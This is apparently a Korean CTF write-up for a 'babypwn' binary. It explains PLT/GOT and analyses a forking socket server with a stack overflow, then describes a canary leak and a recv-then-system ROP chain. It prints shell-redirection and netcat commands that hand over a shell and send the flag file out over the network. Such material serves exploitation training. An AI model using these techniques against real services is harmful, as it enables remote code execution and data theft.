라이브러리가 동적 링크되어있는 것을 알 수 있다. 즉, plt got 과정을 거쳐서 필요한 함수만 호출한다.
PLT(Procedure Linkage Table)
PLT는 일종의 실제 호출 코드를 담고 있는 테이블로써 이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 됩니다..
GOT(Global Offset Table)
GOT는 PLT가 참조하는 테이블로써 프로시져들의 주소를 가지고 있습니다. PLT가 어떤 외부 프로시져를 호출할 때 이 GOT를 참조해서 해당 주소로 점프하게 됩니다.
ex) scanf함수호출이 처음일 경우
[scanf함수 호출]--->[PLT로 이동]--->[GOT 참조]--->[다시PLT로 이동]--->[_dl_runtime_resolve]--->[GOT 저장 후, 실제 함수 주소로 점프]
ckecksec쉘 스크립트를 통해서 실행파일이 스택 카나리와 NX가 적용되어 있는 것을 알 수 있다.
즉 이용해야 할것 1.Canary leak 2.ROP
ida를 이용해서 main을 분석해보니 fork를 사용하는 소켓 서버이고 소켓과 관련없는 함수 sub_8028B87(); 덩그러니있다.
내부로 들어가본다.
노란 부분의 첫번째 함수를 보니
이런 문자열을 출력하고 다음 함수 내부를 보면...
4번 줄에 char v2를 보면 ebp-34h이고 카나리인 v3는 ebp-Ch이기 때문에
1. v2는 0x34-0x0c인것을 알 수 있다.
2. 8번 라인에 memset는 대부분 memset(string,0,strlen(string))과 같은 구조로 사용 되기 때문에 v2가 40바이트라는 것을 유추 할 수 있다.
노란 부분이 100바이트를 받는 걸로 봐서 취약한것으로 의심이 된다.
내부를 보면 recv()로 소켓으로부터 데이터를 수신한다.
이제 카나리를 읽어본다.
카나리 첫바이트가 null이여서 leak이 안되는 것으로 의심된다. A를 하나 더 넣고 돌려보면
카나리값도 출력된다. 값은 0x5695be00
스택구조를 그려보자면
<낮은주소----v2(40)+canary(4)+dummy(0xc-4)+sfp(4)+ret(4)----높은주소>
위와 같다.
페이로드
<낮은주소----buffer(40) | canary(4) | dummy(12) | recv@plt(4) | ppppr_addr(4) | recv 1번째 인자 4(4) | bss_addr(4) | len(sh) (4) |
recv 4번째 인자 0(4) | system@plt(4) | dummy(4) 원랜 ret어드레스 | bss_addr (4)----높은주소>
시나리오
1.recv함수가 실행되며 ebp+8 부터 4개의 인자를 이용해 실행된다. recv함수가 bss_addr에 cmd 문자열을 담는 과정
2.종료후 원래 ret주소인 ppppr_addr자리가 ppppr_addr로 변조 되었으므로 스택보인터가 네번 내려가고 ret명령을 호출한다. ret은 pop eip + jmp eip의 줄임이다.
3.system함수가 호출되어 시나리오 1번과정에서 담았던 bss_addr의 문자열을 인자로 하여 실행된다. system 함수는 ebp+8의 인자를 사용한다.
ida가 구해놓은 system@plt와 recv@plt의 주소를 얻고
objdump -h babypwn 명령어를 이용하여 bss영역의 주소를 구해준다.
objdump -d babypwn 명령어를 이용해서 pppr_addr을 구해준다 좀만 위로 올리니까 바로 발견할 수 있었다.
최종
sh = "/bin/sh >&4 <&4 2>&4를 설명하자면 exploit.py << 이 프로그램이 실행되는 동안 출력(>&4), 입력(<&4), 오류(2>&4)를 리다이렉션한다.
아니면 위 대신
r.send('id | nc localhost 6666')
r.send('cat flag | nc localhost 6666')
이런식으로 코드를 짜도 된다.
'CTF' 카테고리의 다른 글
[SSG] easy_linux_reversing (0) | 2018.05.02 |
---|---|
[PlaidCTF 2013] ropasaurusrex (0) | 2018.02.07 |